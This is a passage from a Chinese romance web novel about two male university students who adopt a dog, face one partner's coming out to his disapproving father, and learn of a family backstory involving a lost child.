“不是说别都进吗……”
“没都进……”
“你……动一动呀……嗯……慢点儿……我不做了……”
白仲钺全程只用了一只手扶着柏安,另一只手一直用来掐自己。动不行,不动不行,重不行,轻不行,快不行,慢也不行。白仲钺头发都湿透了,从小到大别人觉得难的东西,考试也好比赛也好,只要他上心都简单,万万没想到难的坎在这儿等着他。
到最后白仲钺泄愤似的在柏安肩窝咬了一口:“我要让你折腾死了。”
柏安轻声哼了哼,混沌的大脑慢吞吞动了动,觉得这句话有点奇怪,什么地方不大对。可他累死了,实在不想动,也不想动脑,“唔”一声抱着白仲钺睡了。
白仲钺也累。
他牙根咬酸了,手心也没知觉了,打一晚上拳都没这么累。
柏安睡熟得很快,呼吸扑在肩上,一只手搭在他身前,一条腿曲起压在他腿上。
起初一起睡的时候柏安有点不好意思地说自己不习惯被抱着睡,问能不能只抱着他,他不要抱自己。白仲钺本身没有抱着什么睡的习惯,没多想就答应了,现在才发觉,自己和大号人形抱枕有什么区别?
白仲钺捏捏柏安的脸颊肉:“叫你娇娇真的是一点没叫错。”
“嗯……”
白仲钺立刻撤手,在柏安肩后轻拍几下,见没动静才停。
澡都没洗。
洗什么澡,睡了。
32.出柜
退宿申请找老师要来表格填好交上去,还要签字盖章开证明,再加上收拾东西,前后花了几天时间,好在白仲钺那边查寝查得很松,最近几天柏安还是住在宿舍,狗一直是白仲钺每天回去照看。
白仲钺:【[图片]】
白仲钺:【你说如果给它一面镜子,它会不会自闭】
“柏安看什么呢那么迷?”
袁韬瞥了一眼,对隔壁宿舍过来借硬币的人说,“看他美滋滋笑那样,都不用问,跟对象聊天呗。”
“操,别杀狗行吗?关爱单身人人有责,”隔壁宿舍那人把硬币弹起来又接住,“你们有洗床单被罩的吗?一块塞洗衣机洗了。”
袁韬上床去拆被罩,柏安刚换没多久,元睦和也说不用。隔壁同学倚在桌边等袁韬,扭头忽然看见柏安手机屏幕:“这是你家的狗啊?”
“对,前两天刚捡的。”
“我天,怎么这样了?皮肤病?”
“不是,”柏安照片给他看,“身上有伤。”
“这是阿拉斯加和大型田园犬的混血串吧,好像还串了边牧?”
柏安把手机拿回来仔细看了看:“这样你都能看出来?宠物医院的医生也这么猜的。”
“关于狗就没人比我熟,一眼的事儿。母的,对吧?”
柏安又仔细看了看,白仲钺是从上面俯拍了一张狗张着嘴扭头看他的照片,完全没有拍到任何能看出性别的地方。
“厉害了……”
“必须的,”隔壁同学得意地甩了甩刘海,“顺便免费告诉你个知识,母狗会来月经,流血那种,一年一二三次不一定,一次十几天。”
柏安愣了:“啊?”
村里有很多人家养狗,柏安从没听过母狗会来这个的说法。
“真的,发情期之后来。”
袁韬把换下来的床单被罩扔下来,隔壁同学裹了两下对柏安说:“走了啊,有事欢迎咨询,免费。”
柏安爬上床上网搜过之后还是觉得狗会有月经这件事很难以置信,白仲钺也是听柏安说了才知道的,两个没见过世面的人就这个话题聊了好一会儿,后来又一起隔着手机挑了狗狗零食磨牙棒玩具。
白仲钺:【怎么感觉像在养孩子】
柏安:【我也觉得】
白仲钺:【孩子他爸,明天下午是不是没课】
柏安:【啊我忘和你说了,明天下午有职业生涯讲座】
白仲钺:【在教室还是礼堂?】
柏安:【在礼堂,南A厅,下午两点】
白仲钺:【那我陪你一起去】
柏安:【好啊】
柏安:【本人柏安,将携带学长一位】
白仲钺:【此处学长意同家属】
柏安笑着打了个大大的呵欠,眯着眼睛翻身打字:【报告家属学长,困了】
白仲钺:【睡吧,明天中午一起吃饭】
白仲钺:【家属学弟】
柏安:【[好的.JPG]】
柏安:【我先睡了学长】
白仲钺:【然后呢】
柏安:【啊?晚安?】
白仲钺:【睡吧】
白仲钺:【晚安】
柏安又回复了一次晚安关掉手机,在睡着前的将近一分钟脑子里不自觉就开始想白仲钺那句【然后呢】。
总觉得不是要句晚安的意思。
然后什么?
自己上一条是发的什么来着……
啊,我先睡了。
先睡了有什么然后?
不对,完整版是,我先睡了学长。
我先睡了,学长。
我,先——睡了学长?
柏安终于想明白了,大半身子压在被子上睡过去。
完全睡着之前,还在心里嘀咕了一句“流氓”。
第二天中午在食堂吃饭的时候额外买了两根玉米,柏安吃之前歪歪头对白仲钺说:“我先吃了学长?”
白仲钺笑了:“然后呢?”
柏安咬了一口:“唔,吃干抹净。”
白仲钺笑着也把玉米拿起来,没送到嘴边就停住了。
“怎么了?”
白仲钺把玉米收回袋里:“有虫子。”
“我看看,没事,就这一个地方。”
“不吃了。”
柏安把自己的转着圈检查一遍,放到白仲钺那边去:“那你吃我这个。”
“别吃了,我再去买一个。”
“没事啊,弄掉这一块不吃就好了,”柏安把玉米简单处理一下,笑出两个牙尖来,“学长,喜欢你的那些人知道你怕虫子吗?”
柏安确实对虫子没有心理障碍,从小到大不知道见过多少,白仲钺看他已经从另一头开始吃了也没再坚持,就着柏安咬过的豁口吃玉米:“你知道就行了。”
好像渐渐地,大家都习惯了柏安和白仲钺出双入对,偶尔会有人远远拍照片,但早没有去年刚在一起时到哪里都是焦点和议论的情景了。当时柏安还听过很多说不般配、不会长久、闹着玩、找刺激之类的话,时间一久也慢慢都消失了。
和每一对在校园里并肩的情侣一样,美好又寻常。
曾经也是在这里,白仲钺那样郑重地向他表白,轰动全校。现在,柏安侧头看旁边陪着自己来听讲座的人,忽然就体会到了所谓的岁月静好。
这样的讲座白仲钺之前也听过,觉得用处不大,不过还是轻轻把柏安手肘旁边的笔记和笔拿过去,跟着老师讲的记了重点。
没有内容要记的时候就撑头看看正犯困的人,在笔记旁边随便乱写。
【柏安
娇娇
柏娇娇
柏安安
学弟别睡了
给狗起个什么名字
小丑
抽抽
小黑
布莱克
柏安柏安
柏柏安安
3:15
好看
喜欢你
睫毛动了
再过十分钟叫醒
进入倒计时】
白仲钺手机震了下,是祁延的消息。
【大川和文舒冉成了!】
白仲钺反应了两秒。
他记得姜宗川之前说喜欢文舒冉要追的事,但从那之后到现在将近半年都没太提起,也没听说过有什么追人的想法动作,白仲钺都要把这事忘脑后了。
祁延:【说要给他庆祝脱单,今晚上有空没,叫上柏安一起】
白仲钺:【行,我问问他】
祁延:【我一直有个怀疑,怕破坏宿舍和谐没敢说,我就这么一说你就一听,你说煜子是不是也喜欢文舒冉】
祁延:【从一开始大川说要追人煜子反应就不正常,你没在宿舍不知道,大川说文舒冉同意了的时候煜子脸色都变了】
祁延:【晚上吃饭的时候要不还是少提他俩在一起了的事】
祁延:【我猜着大川说不定感觉出来了,从开学他和煜子关系也没之前近,中午说他和文舒冉在一起的时候提了一句就没再多说】
祁延以前说过白仲钺在感情方面反应迟钝不敏感,白仲钺自己也承认。他其实感觉到赵煜不对劲了,但完全没往可能喜欢文舒冉的方面想。
白仲钺:【晚上万一话题不合适就岔一下】
白仲钺:【这话以后别提了,让谁听见都不好】
祁延:【知道】
本来说的是就宿舍几个人加一个柏安的纯男生场,下午的时候姜宗川忽然说文舒冉也去,问祁延能不能带着女朋友一起,怕文舒冉自己一个女生尴尬,不一会儿赵煜在群里说晚上有事,去不了聚餐。
姜宗川在群里发了一条:【那今天我和舒冉单独约,大家改天有时间再聚】
柏安卖完豆浆听白仲钺说晚上临时取消聚餐的前因后果,连他一个旁听的人都感觉出来不正常了。
只是这种事,谁都帮不了忙插不上手。
没过多久白仲钺和柏安都搬到了校外住,今年住宿费交过了,宿舍床位还空着,有时候中午两个人会回宿舍休息。
白仲钺回宿舍的时候,一起遇到姜宗川和赵煜的次数不多,大都是其中一个人在,像刻意避着对方。祁延不止一次和白仲钺吐槽,宿舍气氛全靠自己硬撑。
后来好像渐渐不刻意避着了。
再后来,不知道是两个人私下聊过还是都默契地翻了篇,白仲钺有次中午回宿舍竟然碰见姜宗川和赵煜爆粗口开玩笑了。
“是不是老父亲的欣慰感油然而生?”
白仲钺看着祁延挑挑眉,笑了笑没说话,但确实有这么点意思。
“哎,老白,”赵煜看见门口杵着的人招呼了一声,“尝尝,大川家里寄过来的猪肉脯。”
“好。”
姜宗川拿出单独一个小箱子:“这个是给柏安的,你一会儿给他带着。”
自从柏安让妈妈帮忙给姜宗川联系上秀溪的中医,姜宗川家里就开始往A大寄东西,每次都单独给柏安一份,后来姜宗川弟弟的皮肤病治好之后就寄得更勤了。
“和叔叔阿姨说以后别总单独备他的了,不用这么麻烦。”
“虽说你俩一家
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吧,又不是给你的。”
祁延在白仲钺肩上拍了一巴掌:“认清现实吧,你只是一个没有发言权的传送机器。”
白仲钺对着身后就是一肘。
周末白仲钺要回家去,柏安自己和已经皮毛鲜亮的布莱克待着,一人一狗相处异常和谐。一起在沙发上窝了会儿,柏安突发奇想给布莱克进行一对一教学,居然没十分钟就教会了它握手。柏安录下视频发过去,不过白仲钺大概和父母在一起没看手机,好半天都没回。
“白仲钺!你再给我说一遍?!”
白仲钺又一字不改地说了一次:“爸爸,我喜欢男生,和一个男生在一起了。”
白业成劈头盖脸给了白仲钺一巴掌:“你混不混账!”
白仲钺好一会儿没说话。
耳鸣。
他头一次挨耳光,以前一直以为耳光最大的伤害在面子自尊上,实际痛感不会强,真结结实实被打了这一下才知道厉害。
头猛地甩到一边,耳朵嗡嗡响,左边整张脸都是麻的。
“你算计到我和你妈妈头上了是吗?从去年就开始隔三差五提到什么同性异性,说你同学说谁家小孩同性恋,说什么平等哪里合法,就是为了今天告诉我你和男的好了?!”
“不是算计,只是希望你和妈妈能好接受一些。”
“门都没有!白仲钺,我养你这么大就是为了让你搞同性恋的吗!啊?”
阮敏被吵醒了从楼上下来:“你们这是做什么?”
白仲钺猛地转头:“妈妈?”
白业成也不知道阮敏在家,不然绝不会这么大声朝白仲钺发火:“不是去看时装展了吗?这么早就回来了?”
“不太舒服,没去。”
“哪儿不舒服了?”白业成快步走到阮敏旁边去,“头疼?还是胃?”
“没事,睡了会儿好多了。”
阮敏走过来,看着白仲钺左脸明显的一片红心疼怎么都止不住,从小到大,谁都没舍得动过白仲钺一下。阮敏强忍着没责怪白业成也没安慰白仲钺:“小钺,你先回房间,我和你爸爸有话说。”
白业成喊得那句又响又亮,阮敏听见了。
“你别生气,我看他就是叛逆期延迟,现在的小孩都快拿这个当潮流,以后就知道错了,别生气别生气。”
“我没生气,”阮敏坐在沙发上,手按了按胃,“小钺的事,我知道一段时间了。”
“什么?算了你等等,我先给你泡杯养胃茶。”
阮敏家里有家族遗传病史,她奶奶患有心脏病长年服药,后来因为心脏病去世,她弟弟十九岁时突发心脏病去世。不止一位医生说过大概率是隔代遗传,阮敏也有被遗传的可能。
阮敏每年身体检查心脏都没问题,但白业成从没有掉以轻心,白仲钺也从懂事就知道事情的严重性,所以哪怕一直是阮敏更温和甚至更纵容,他也专门选阮敏不在家的时候先告诉了白业成。
白业成气归气,自己儿子还是清楚的,不会一面单独告诉自己一面提前告诉阮敏。
“别生气,一生气胃疼,给,先喝点暖暖,”白业成搓搓右手,“你怎么知道的?”
“说了没生气,上个月小钺回家的时候不小心发现的,”阮敏接过去,看着白业成一直不自觉有小动作的右手,问,“打完后悔了?”
白业成手在大腿拍了下:“气上头了。”
“妍成的事,这么多年你一直怪在另一个女人身上,怪那个女人,怪同性恋,怪妍成死心眼。可如果不是当年爸妈想方设法拦着以死相逼,她们不会分开。”
“后来爸妈不管她了松口了,怎么样?那女人生的孩子都会跑了!就算爸妈当年不拦也长久不了,她如果真心要和妍成在一起就不会放着大肚子的妍成不管转头结婚!同性恋根本不牢靠,现在社会开放了又怎么样?开放了说不定玩几年扭头结婚的人更多!”
多少年了,这件事上白业成和阮敏一直没能说服过对方,只不过平时不提起而已。
“我发现之后没有告诉你,就是因为知道妍成的事是你的心结,”阮敏这么多年没能改变白业成的想法,现在也不强求,只是握着茶杯轻声说,“妍成当年被迫放弃了,但一直没回过头。她研究培育草莓这么多年,爸妈都觉得她是在和家里置气所以随便找了不光鲜的事埋头做,但她为什么种,她告诉过我,我记得我也是告诉过你的。大概时间太长,翻篇太久,渐渐忘了。”
“业成,小钺不是会随便玩玩的孩子。”
“他姑姑种草莓种了17年。”
“你想让他也有一个17年吗?”
33.白子安
17年。
这个数字背后,难受的事不止一件。
白业成在听见阮敏说出这个年数的瞬间就变了神情,什么话都说不出,最后伸手把阮敏搂紧了。
他们还有过一个孩子,在白仲钺两岁时,在阮敏小产、阮敏弟弟去世的那一年。
叫子安。
那时阮敏弟弟早恋,家里发现女生早早辍学,且女生父亲曾因猥亵入狱还嗜赌,一致强烈反对。没想到弟弟瞒着家里偷偷和女友住在一起,还让女友怀了孕。生产关头女友羊水栓塞需要紧急救治,家里才知道两人一直没断过。
人命关天,阮敏父母动用最大的关系和能力为女生献血、急救,输血五万余毫升,却只堪堪将死神的脚步拦后了两小时。
而在那两小时里,有生命呱呱坠地,也有生命骤然逝去。
还没出小月子的阮敏踉跄赶到,强忍失丧弟弟的撕心悲怆,脚步虚浮地来到病床旁。
“聂萍,你再坚持坚持,宝宝才刚出生,你看,他这么小,不能没有妈妈,是不是?”
“自从怀孕,就一直波折……孕初期出血,严重孕吐,后来一次险些大月份流产,现在又意外早产……”聂萍吃力地抚摸孩子的脸,神情欣慰又柔软,“真好,还好他平平安安出生了……”
“姐……”
“我在,”阮敏控制不住流淌满面的眼泪,哽咽着不知在和谁说,“姐姐在,姐姐来了,你再坚持坚持,再等一等啊……”
“我不成了……对不起啊,我知道自己配不上阿捷,但他太好了,我实在舍不得放手……大概是我命里福薄吧……我恐怕……等不到再见阿捷一面了……”
阮敏最终没忍心说出弟弟心脏病突发去世的实情。
彼时,白业成一边安抚几度悲痛昏厥的岳父岳母,一边出面处理小舅子的身后事。
而阮敏守在聂萍身边,答应了她拼着最后力气反复强调恳求的托付。
聂萍这次意外早产,全是因为被那个恶魔似的父亲找上了门,要把她带走借肚子里的孩子勒索阮家。聂萍抵死不肯摔了跤,等下楼取新生儿用品快递的阮捷回来时,聂萍已经昏迷不醒。
她托阮敏转达,让阮捷以孩子的安全为重,一定不要让那个男人知道他们的孩子平安出生。孩子不要姓阮更不要姓聂,哪怕送到福利院都好,只要能平安长大,不像她一样被恶鬼纠缠。
她说,等孩子长大,不要告诉他这一切。她不想让孩子像她一样,永远背负着妈妈因自己而死的愧疚,更不想孩子知道,他有个不配为人的“外公”。
她说,想好了孩子的名字。
阮捷非常喜欢白仲钺这个名字,说钺是古兵器,在一些朝代是帝王权威的象征,“钺”字代表着希望他长大征伐决断,能拼出一片自己的天,家中长辈希望他优秀卓异,能做人上之人,又因“钺”尖利,于是取“仲”字平衡。
他们想给孩子取一个比“仲钺”更好的名字,两个人一直想了改改了想,在本子上列了无数个,总也不满意。
聂萍说要自作主张,取“安”字。说孩子从出现到降生有太多不平顺,聂萍只希望他这一生能够好好的,不求功成名达,但愿平平安安。
因为出生在子夜,又那样小小一个,取“子”放在前面。
子安。
惟愿她的孩子平安。
聂萍刚去世孩子就进了恒温箱,足有一个月才出来。
那是弟弟的遗孤,又是在小产不足一月的节点,生理上流着一部分相同的血,心理上填补了没能降生的孩子的空缺,阮敏切切实实把他当成自己的亲生孩子珍爱。
到现在阮敏仍记得孩子出生时的重量,1802克,三斤六两。
按照聂萍的遗愿,孩子不姓阮也不姓聂。他和白仲钺一样,姓白。
白子安。
可到底没能平平安安。
那时候请了两个阿姨照顾白仲钺和白子安,一天白仲钺要去做检查,白业成和阮敏都有事,家里只有一个阿姨和白子安在。阿姨接到家里电话说女儿离家出走来找她,问到车票时间联系上阿姨的时候,车就快要到站了。那个阿姨怕女儿走丢着急赶去车站接人,抱着白子安出了门。
在车站,那个阿姨找到了不知所措的女儿,丢了两岁的白子安。
全家人几乎是疯了一样地找,那时候网络不如现在发达,能力也有限,但能用的关系能求的人全找了。
就那么分不清月份冬夏地找,差不多快两年的时候警方抓到了一伙人贩子,里面有人对关于白子安的信息有印象,说那个孩子到手的时候风头正紧,到新地方准备“验货”出手的时候被警察盯上,那个孩子又不知道怎么得了病,恹恹的像要断气,他们为了跑脱没来得及搜身就扔了。
扔在路边垃圾堆里,怕被发现还急忙往小孩身上盖了一层垃圾。
不知道找了多少人去周边打听,从那片垃圾堆所在的村子,到周围的几个镇、县、区、市,大海捞针般地沿着路问过去,但什么都没问到。后来就都劝他们,算了。
那句算了隐藏的意思很简单,孩子大概率已经不在了。可能被盖上的垃圾闷死了,可能晚上冻死了,可能饿死了,尸体混在垃圾堆里,早不知道被运到哪里去了。
还能不能有囫囵的尸首留存于世都是未知。
他们无法接受白子安已经死去,辗转托一位高僧为白子安筑祈福塔、设延生位,衣冠留记,不做墓葬。但不敢面对的心底深处,失去已然成为定局。
那段时间阮敏经常幻听,有天夜里听见子安在哭,她本能地慌忙去看,最后关头被惊醒的白业成从阳台栏杆上拖了下来。
“阮阮你看看小钺,你看看我,你看看我们!你还有我们啊,你跳下去让我们怎么活?你不让我们活了吗!”
阮敏抱着嚎啕的白仲钺怔怔回神,在寂静凌晨哭得声嘶力竭,后来家里所有和白子安有关的东西全被白业成收起来,谁都没再在阮敏面前提过一次。
丢了白子安的那年,白业成的父母松口不再管女儿的事。
他们用命和孝道逼着女儿“改邪归正”,但女儿郁郁数年。他们的坚持早就在一年一年的时间里被打磨松软了,白子安走丢是最后一根稻草,他们不再拦着她离开本地,不再逼她相亲结婚,甚至同意了在他们眼里伤天害理罔顾人伦的同性恋。
但,早已经物是人非。
那年,失了白子安。
那年,白妍成得了自由身,进了草莓园。
到现在,正17年。
“业成。”
“哎,在这儿呢。”
“你对小钺说,养他这么大不是为了让他同性恋,这句话没错。”
“你……”
“养他这么大,我也不是为了让他同性恋,” 阮敏抬手蹭过眼角,说, “我什么都不为。”
“他一直这么优秀,我高兴,可他哪怕不优秀,只要他高兴,我也高兴。”
“说我没原则也好,说我溺爱也好,我只想他过得开心,过得自在,过得好。”
“我知道同性恋有多难,我也不想让他这样,我也希望他走大部分人走过的平平顺顺的路。”
白业成小心把阮敏脸上的眼泪擦干:“你别哭啊……”
“可既然他是,既然他要……”
白业成语气愈缓:“有话慢慢说,别哭别哭了,伤眼睛。”
“业成……”
“哎,在。”
“我只有小钺了,我要他快快乐乐地生活,” 阮敏眼睛红红地看着白业成,“谁都不能让他做第二个妍成,你也不行。”
白仲钺不知道两个人聊了什么,只知道白业成虽然没说同意,但也没再那么激烈地表达不同意。
他也看出来,阮敏哭过:“妈妈,对不起。”
“说什么傻话。”
“让你们失望了。”
阮敏摸了摸白仲钺还红着的脸,又摸了下白仲钺的头。不知不觉的,就已经长到这么高了,离得近这样站着,阮敏要仰着头举起手才能摸到他头顶。
“不论是喜欢男孩子还是女孩子,你都一直是爸爸妈妈的骄傲。”
“谢谢妈妈。”
“你啊,什么对不起谢谢都不用,做妈妈的,看见孩子尽情笑一场,比听见多少句谢谢都高兴。如果你选定了难走的路,就做好准备
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,让自己少受点苦,知道吗?”
“嗯,”白仲钺弯腰轻轻抱了阮敏一下,“妈妈,你放心。”
白业成不怎么肯搭理白仲钺,白仲钺也没觉得有什么,这个结果已经比他想象的好无数倍。
从学校搬出来的事也没有瞒着家里,聊天说起的时候家里阿姨也在,立刻问白仲钺愿不愿意带点水饺馄饨,愿意的话她多做一些先冷冻几小时,等白仲钺走的时候带回去冻在冰箱,什么时候想吃拿出来一煮就好。
“好,单独做几个白糖馅的吧,十个就行,麻烦了金姨。”
白业成本来就不痛快,一听白仲钺这么光明正大地专门做了往外捎带,立刻忍不了了:“没听说过水饺馄饨有白糖馅,瞎折腾什么,浪费粮食。”
白仲钺半点不恼,听不见似的自顾对着白业成笑说:“爸爸,让金姨多做几个,一会儿你也尝尝。”
“不吃!”
白仲钺提着几盒水饺馄饨回去的时候,柏安正在用水煮肉贿赂狗狗按指令起来和坐下,刚刚学会,正在练习中。白仲钺一进门柏安眼睛就亮了,立刻从地上起来跑过去,可惜狗先跳起来哼哼唧唧扒住了白仲钺大腿。
柏安停在半路:“布莱克!坐下!”
白仲钺放下袋子抬起来准备接柏安的手这会儿还空着,只好拖着腿上的丑狗挂件走过去,把人按进怀里就是一顿揉。
柏安抱起来特别舒服,他看着瘦,但身上很藏肉,很久之前,白仲钺第一次背他的时候就发现了。除了肩胛骨、锁骨、胯骨这些骨头明显突出的地方,其他地方摸起来大都软乎乎的,腰背上都覆着一层薄薄的软肉。
白仲钺把脸埋在柏安颈窝深吸一口,呼气的时候全扑在脖子里,柏安忍不住边躲边笑:“痒——”
“呜汪汪!”
柏安弯腰在它头上弹了下:“你刷什么存在感?”
“它不听话,别管它了。”
“你回来之前还很听话的,一看见你就不行了。”
“那我再出去?”
柏安在他脸上亲了一声响:“那不行。”
“白仲钺,你脸怎么了?”
“咳……”
已经冰敷过也上了药,白仲钺在家时对着镜子反复确认了已经不明显,没想到还是这么快被柏安发现。
两人坐在沙发上,白仲钺习惯性伸一只手给柏安玩,不过这会儿柏安没心思。
一五一十交代完毕,柏安眉头挤在一起好一会儿都没舒开。
“好了好了,真的没事,一点都不疼。”
“你怎么忽然告诉家里了啊?”
“很早就想说,之前侧面聊过几次,最近感觉差不多可以说就说了。”
柏安没想过白仲钺会这么早向家里出柜,自己也没打算:“我还没准备好告诉家里,嗯……下次回家我就先给我妈做一下心理准备,不过要慢慢来……”
“不着急,等毕业再考虑这个也不晚。我告诉家里不是要让你和我一样,之前以为会打一场持久战,所以早点说,等毕业家里接受差不多了我就把你领回家,没想到情况比我预计得要好。”
柏安把白仲钺的手翻来覆去地捏,一时不知道要说什么。
“奶奶和妈妈身体不好,你别着急告诉她们。我现在告诉家里只是想把我能解决的困难先解决掉一部分,阻力拆分开难度总会小很多,你不要有压力,等以后有合适的机会再慢慢和家里说,嗯?”
柏安点点头,还是没说话。
白仲钺挠挠他手心:“怎么了?”
“我好喜欢你啊。”
白仲钺一下笑开,把柏安搬到自己腿上来:“这么感动啊?”
“嗯。”
“那不表示表示?”
柏安抬起白仲钺的下巴和他接了一个长长的吻。
白仲钺喉结滚了两下,问:“还可以有别的奖励吗?”
“什么?”
“想让你晚上听我的。”
“……”
“行吗,柏娇娇?”
“你真的很毁气氛啊……”
“嗯,那行不行?不说话就是默认了。”
“……”
34.吻痕
不知道是不是因为达成了晚上全随某人意思来的不平等协定,柏安从吃饭起就有点不一样,像是要用难得的任性把即将要吃的“亏”提前找补回来一样。
比如明知道白仲钺吃饭的时候不喜欢甜还把白糖馅的水饺喂到他嘴边,比如在洗碗的时候故意把泡沫弹在刚冲好的盘子上,比如拿一根细包装绳在白仲钺头顶扎小辫还分角度拍了一堆照片,比如打赌一分钟做几个俯卧撑的时候坐到白仲钺身上去还盘起腿在他背上优哉计数。
白仲钺就任他玩,不论怎么折腾都百分百配合,反正就这么几个小时,随他高兴。
十点一到,扛去洗澡。
之前做准备工作的时候柏安打死都不让白仲钺一起,怎么说都没用,这次白仲钺连强带哄,好不容易才让柏安松动。
柏安脸埋在白仲钺颈窝,烧得透红。
其实柏安知道白仲钺为什么这么坚持。白仲钺觉得这是两个人的事情,他有责任和义务。又因为明明是两个人的事,柏安却要做更多承担更多,所以白仲钺理所当然地认为他应该尽可能为柏安做更多。
白仲钺身上有种传统的浪漫。
郑重其事的告白是,在一起后的循序渐进是,相处时一直注重他的想法是,早早向家里坦诚出柜是,现在一丝不苟的动作也是。
可柏安扛不住。
他抗拒从来不是因为担心白仲钺会嫌弃,只是觉得这样的场景太羞窘,空气成为潮热的实体,分秒变作漫长的单位,根本不需要等步入正题——他已经想讨饶了。
一沾到床柏安就拽过薄被把自己裹了个严实。
白仲钺看得好笑:“干什么?”
柏安不好意思说自己在浴室的那股劲儿没过,都是男生,怎么白仲钺从容自得的自己就放不开了?
“不干什么,”柏安手在下巴处攥着薄薄的被边,卷在里面的身子滚成长条,“毛毛虫。”
“我看有点像寿司。”
“都行。”
“那我开动了,小寿司同学。”
?
“唔……”
大多数人肩和脖子间的线条是斜平的,柏安不是,他的斜方肌很不起眼,颈根部到肩是条略下弯的弧线。白仲钺格外喜欢亲中间微微下凹的位置,上一次的印记还没消,新的绯红就又染上去。
不止这里。
白仲钺喜欢柏安身上的每一处凹陷。
锁骨上方、平躺时下塌的腹部,腰侧、趴伏时凸起的肩胛骨周边、脊背中央从上至下的沟壑、还有——
“白仲钺!别亲那儿……啊……”
“叫学长。”
“学长……”
“叫哥哥。”
“哥哥哥哥——你还亲!”
随着低笑呼出的热气尽数落在柏安身上,明明两个人都很热,偏那一片像被冷着似的竖起了汗毛。
“叫老公。”
简直得寸进尺。
修长的手指缓缓探寻,柏安霎时服软:“老公……”
每次这种时候,他都觉得,自己把白仲钺的手拉下了神坛。
那样边边角角都无可挑剔的手,使他无数次恍神心动的手,会写出好看有力的字,能轻松五指抓起篮球,弹得出流畅悦耳的曲子,拿过沉甸甸的奖杯证书,现在,却在不为人知的夜里深埋在他难以启齿的某处。
让他难耐,令他颤颤。
“你停一会儿……”
“说好了听我的。”
“那也不能才……嗯……”
白仲钺摸他、亲他、哄他,独独不依着他。
这是经过实践得出来的道理——在床上就不能听柏安的。
不行就是行,什么都不行就说明怎么都行。
柏安觉得哭丢人,使劲扒着枕头咬。疼的时候哭是生理反应,不疼的时候哭算怎么回事?
可他不知道,这副被欺负狠了受不住又强忍着以为没外露的样子反倒有种别样的感觉在,一撞肩膀就抽一抽,闷着声的呜呜咽咽从断断续续慢慢首尾相接连成一片,就像在故意诱惑人生出坏念头。
让他哭,让他求,让他哭不出,让他求不了。
把他最后一丁点儿力气都消耗掉。
“镜框都压坏了……”
“没事,再买新的,嘶……疼疼疼……”
柏安终于觉得出了点气,大发慈悲放过被狠揪了的小红豆儿:“再买你自己戴。”
“好,我戴我戴。”
“困……”柏安半边身子压在白仲钺身上,勉强对抗着虚脱的酸软调了个舒服点的姿势,紧接着眼皮沉得说话都含糊起来,“想睡了……”
白仲钺握着柏安搭在自己身前的手腕,拇指在内侧上下摩挲:“睡吧。”
没多久,低头看时人已经睡熟了。
这样趴在自己身上,像个树袋熊。
白仲钺不怎么困,想到刚刚洗澡的时候柏安控诉他太凶,自己要折了,索性一下一下给睡着的人按起腰。
好一会儿,柏安似乎往下缩了缩,估计是冷气太足。白仲钺松开他的手腕去摸空调遥控器,调高两度,遥控器还没放好就感觉柏安的手像找东西似的在他身上动,低头一看,眼睛仍旧闭着,嘴唇和眉毛的形状已经肉眼可见地不满意了。直到又把他手腕握住,柏安才不动了,安安稳稳继续睡。
“真是,”白仲钺轻轻笑了一声,“柏娇娇……”
隔天才注意,白仲钺脖子上多了几个通红的吻痕。
穿短袖的季节,没办法用高领衣服遮,就那么明晃晃地露着。
走在路上白仲钺还没怎么,柏安先不自在起来。
“你把伞往那边歪点。”
“太阳在这边。”
“没事,你把脖子挡一下。”
白仲钺不动:“这是遮太阳的。”
自从天热,A大就出了条风景线——移动的大号黑色遮阳伞不时出现在校园某条路上,伞顶总斜对太阳的方向,伞下并肩走着白仲钺和柏安。
最开始柏安很不愿意,总觉得两个男生打伞防晒奇怪,可抵不住白仲钺坚持。渐渐就想开了,奇怪就奇怪吧,至少今年夏天到现在为止脖子和脸还没被晒红过,更没有痒或者脱皮。
而且大
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概热了没一个月,男生打遮阳伞这事在A大完全不稀奇了。
有时候一把伞下能挤三个男生。
用祝骁的话说,白仲钺不顾世俗眼光,以一己之力为广大男同胞开拓了在太阳底下打伞的康庄大道。
以前,太阳底下打伞的男生都是为了女朋友,哪有男生自己打伞的?有那份心也怕被嘀咕,生怕影响男子气概。
现在,白仲钺都打了,谁觉得他影响男子气概?
甚至不少女同学对撑黑伞的男生都有了滤镜。
福音啊。
白仲钺不在意自己在别人眼里是“异类”还是“福音”,他只知道,柏安紫外线过敏。
转过弯,太阳刚从侧边露头,白仲钺手里的伞就斜过去隔断了。
柏安没注意到随着走路方向不断变的伞,他心思全在白仲钺脖子上。
实在是太惹眼了。
也不记得自己是怎么亲的,竟然就亲得这么重还这么居中,哪怕是向下点靠近衣领或者向上点挨着发根呢。
“没事,”白仲钺在柏安后脑勺揉了下,“你就当不知道,大大方方的,别人看见顶多私下议论两句,又不会跑到你跟前说。”
“你心理素质真好。”
“我男朋友给留的,怕什么。”
“小点声!”
柏安忽然发现,人和人就是不一样,他一共就在白仲钺身上亲了这么几下,全摆在明面上了,白仲钺在自己身上亲了多少印子啊,衣服一穿全遮得严严实实的:“你是不是故意亲看不见的地方啊,光自己注意,都不提醒我。”
“冤枉,”白仲钺握着柏安手腕举起来给他看,内侧的小痣周边红了一片,“这儿不是露在外面吗。”
“这儿又不显眼,”柏安想了想,白仲钺确实从来没在自己脖子上留过印,亲的时候好像都没怎么用力,不可能是巧合,“你就是故意避开脖子的。”
“啊,我之前看过一则科普,说亲脖子太用力可能会形成血栓什么的,不太安全,我怕自己控制不好力道,避开安全一些。”
柏安头“蹭”一下就转过来了:“你怎么不告诉我啊?你知道还……你推开我不行吗?万一出事怎么办?”
“我搜过,一般没事,而且你用劲又不大。怎么了这是,生气了啊?”
“白仲钺你不能这样,不能什么事都是在我这儿注意在你那里就没关系,你怕我不安全我也会担心你啊,不亲脖子又不会怎么样,你就推开我提醒我一句不行吗?万一就真出事了呢?”
“真没那么严重,我可能没说清楚,那种情况概率很小……”白仲钺看柏安表情没有好转的意思,直接改口,“我的错,怪我怪我,以后我们都不亲脖子了。但你怪我不推开你就过分了啊。”
柏安眉头还蹙着,就那么斜眼看他。
白仲钺贴近他耳朵:“那种时候,只恨不能把你抱得更紧,怎么可能推开?”
“白仲钺!”
“哎好了好了……”
“你知道什么叫双标吗?”
“什么?”
“就是你、这、样、的。”
35.吵架
白仲钺身上不容易留印,本来以为吻痕同理,一两天就消了,没想到脖子上消得这么慢,一星期快过完了都还能看见浅浅的印。
印子在白仲钺脖子上留了几天,一起上课自习的时候祁延就拐着弯“啧”了几天。
“哟,不容易,终于干净看不出来了啊?赶紧让小学弟再补几个。”
白仲钺正烦着:“去你的。”
